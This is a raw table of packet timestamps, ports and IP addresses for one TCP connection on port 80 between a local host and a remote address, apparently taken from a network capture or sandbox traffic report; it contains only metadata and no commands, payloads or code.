Jul 2, 2024 04:12:08.897618055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897641897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897646904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897655964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897658110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897681952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897685051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897692919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897699118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897716999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897722960 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897737980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897747993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897757053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897766113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897779942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897780895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897797108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897804976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897811890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897826910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897830009 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897844076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897855997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897861004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897871971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.897885084 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.897914886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899050951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899100065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899100065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899111032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899138927 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899152040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899230003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899240971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899257898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899267912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899275064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899287939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899301052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899303913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899317026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899326086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899327993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899346113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899354935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899372101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899386883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899396896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899422884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899497986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899508953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899525881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899538994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899543047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899557114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899564981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899570942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899585009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899589062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899610996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899614096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899626970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899637938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899642944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899648905 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899667978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899677992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899678946 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899696112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899705887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899707079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899724007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899729967 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899734020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899739981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899754047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899763107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899780989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899785042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899799109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899806023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899813890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899830103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899831057 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899841070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899857998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.899857998 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899883032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.899904966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.983949900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.983995914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984005928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984025955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984034061 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984065056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984066010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984074116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984107971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984122038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984146118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984153032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984160900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984183073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984191895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984216928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984227896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984244108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984253883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984257936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984262943 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984277964 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984283924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984292984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984302044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984308004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984311104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984323025 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984325886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984339952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984361887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984400034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984411001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984426022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984435081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984447002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984453917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984463930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984484911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984484911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984488010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984498978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984500885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984519005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984529018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984533072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984543085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984546900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984558105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984564066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984589100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984591961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984602928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984611988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984622955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984626055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984637022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984643936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984652996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984659910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984673977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984674931 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984688997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984710932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984812975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984823942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984838963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984848022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984853983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984863043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984877110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984879971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984899044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984904051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984913111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.984925032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.984951973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.986656904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986668110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986685038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986733913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986742020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.986742973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986749887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986767054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986776114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986784935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986787081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.986802101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986808062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.986813068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986829042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.986851931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986857891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.986864090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986880064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986890078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986891985 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.986915112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.986927986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986934900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.986938953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986955881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986964941 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.986968040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986984968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.986994028 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.986994028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.987015009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.987020969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.987031937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.987035036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.987061977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.987081051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.069010973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.073779106 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388655901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388746023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388770103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388782978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388799906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388809919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388816118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388823986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388829947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388844967 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388848066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388855934 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388861895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388873100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388878107 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388891935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388895988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388900995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388910055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388926029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388928890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388937950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388942003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388952971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388956070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388964891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388969898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388986111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.388994932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.388998985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389019966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389029026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389036894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389045954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389055014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389059067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389071941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389081955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389082909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389100075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389108896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389113903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389125109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389128923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389137983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389138937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389158010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389168024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389168978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389189005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389192104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389199972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389216900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389219999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389236927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389241934 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389250994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389265060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389267921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389281034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389291048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389292955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389307976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389322042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389324903 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389329910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389336109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389353037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389363050 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389368057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389384985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389389038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389398098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389400005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389415979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389427900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389427900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389447927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389453888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389461994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389477015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389481068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389493942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389497995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389511108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389519930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389523029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389540911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389547110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389554977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389568090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389600039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389604092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389615059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389631987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389641047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389642954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389663935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389673948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389673948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389691114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389698029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389700890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389719963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389723063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389738083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389744043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389764071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389777899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389787912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389791012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389806032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389811993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389822006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389823914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389837027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389838934 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389853001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389859915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389869928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389872074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389885902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389889956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389899015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:09.389900923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:09.389915943 CEST	80	49704	85.28.47.4	192.168.2.5
